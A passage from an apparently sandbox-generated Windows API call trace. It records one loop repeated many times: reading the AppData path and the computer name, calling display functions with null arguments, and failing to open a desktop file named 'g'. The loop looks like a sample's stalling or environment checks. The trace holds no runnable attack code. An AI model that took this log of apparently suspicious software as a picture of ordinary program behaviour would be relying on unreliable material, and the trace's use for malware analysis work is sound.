dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.978] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.978] CloseHandle (hObject=0x0) returned 0 [0222.978] CloseHandle (hObject=0xffffffff) returned 1 [0222.978] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.978] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.978] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.978] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.978] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.978] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.978] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.978] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.978] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.978] CloseHandle (hObject=0x0) returned 0 [0222.978] CloseHandle (hObject=0xffffffff) returned 1 [0222.978] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.978] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.978] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.978] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.979] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.979] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.979] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.979] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.979] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.979] CloseHandle (hObject=0x0) returned 0 [0222.979] CloseHandle (hObject=0xffffffff) returned 1 [0222.979] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.979] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.979] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.979] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.979] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.979] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.979] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.979] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.979] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.979] CloseHandle (hObject=0x0) returned 0 [0222.979] CloseHandle (hObject=0xffffffff) returned 1 [0222.979] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.980] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.980] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.980] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.980] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.980] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.980] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.980] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.980] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.980] CloseHandle (hObject=0x0) returned 0 [0222.980] CloseHandle (hObject=0xffffffff) returned 1 [0222.980] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.980] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.980] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.980] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.980] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.980] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.980] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.980] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.980] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.980] CloseHandle (hObject=0x0) returned 0 [0222.980] CloseHandle (hObject=0xffffffff) returned 1 [0222.981] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.981] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.981] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.981] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.981] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.981] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.981] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.981] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.981] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.981] CloseHandle (hObject=0x0) returned 0 [0222.981] CloseHandle (hObject=0xffffffff) returned 1 [0222.981] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.981] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.981] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.981] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.981] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.981] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.981] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.981] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.981] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.982] CloseHandle (hObject=0x0) returned 0 [0222.982] CloseHandle (hObject=0xffffffff) returned 1 [0222.982] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.982] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.982] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.982] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.982] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.982] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.982] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.982] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.982] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.982] CloseHandle (hObject=0x0) returned 0 [0222.982] CloseHandle (hObject=0xffffffff) returned 1 [0222.982] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.982] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.982] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.982] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.982] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.982] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.982] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.982] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.983] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.983] CloseHandle (hObject=0x0) returned 0 [0222.983] CloseHandle (hObject=0xffffffff) returned 1 [0222.983] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.983] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.983] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.983] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.983] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.983] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.983] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.983] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.983] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.983] CloseHandle (hObject=0x0) returned 0 [0222.983] CloseHandle (hObject=0xffffffff) returned 1 [0222.983] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.983] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.983] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.983] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.983] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.983] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.984] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.984] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.984] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.984] CloseHandle (hObject=0x0) returned 0 [0222.984] CloseHandle (hObject=0xffffffff) returned 1 [0222.984] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.984] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.984] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.984] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.984] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.984] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.984] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.984] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.984] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.984] CloseHandle (hObject=0x0) returned 0 [0222.984] CloseHandle (hObject=0xffffffff) returned 1 [0222.984] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.984] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.984] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.984] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.984] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.985] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.985] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.985] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.985] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.985] CloseHandle (hObject=0x0) returned 0 [0222.985] CloseHandle (hObject=0xffffffff) returned 1 [0222.985] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.985] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.985] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.985] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.985] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.985] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.985] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.985] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.985] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.985] CloseHandle (hObject=0x0) returned 0 [0222.985] CloseHandle (hObject=0xffffffff) returned 1 [0222.985] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.985] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.985] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.985] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.986] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.986] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.986] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.986] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.986] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.986] CloseHandle (hObject=0x0) returned 0 [0222.986] CloseHandle (hObject=0xffffffff) returned 1 [0222.986] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.986] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.986] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.986] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.986] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.986] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.986] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.986] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.986] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.986] CloseHandle (hObject=0x0) returned 0 [0222.986] CloseHandle (hObject=0xffffffff) returned 1 [0222.986] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.986] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.986] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.987] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.987] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.987] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.987] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.987] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.987] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.987] CloseHandle (hObject=0x0) returned 0 [0222.987] CloseHandle (hObject=0xffffffff) returned 1 [0222.987] SHGetFolderPathA (in: 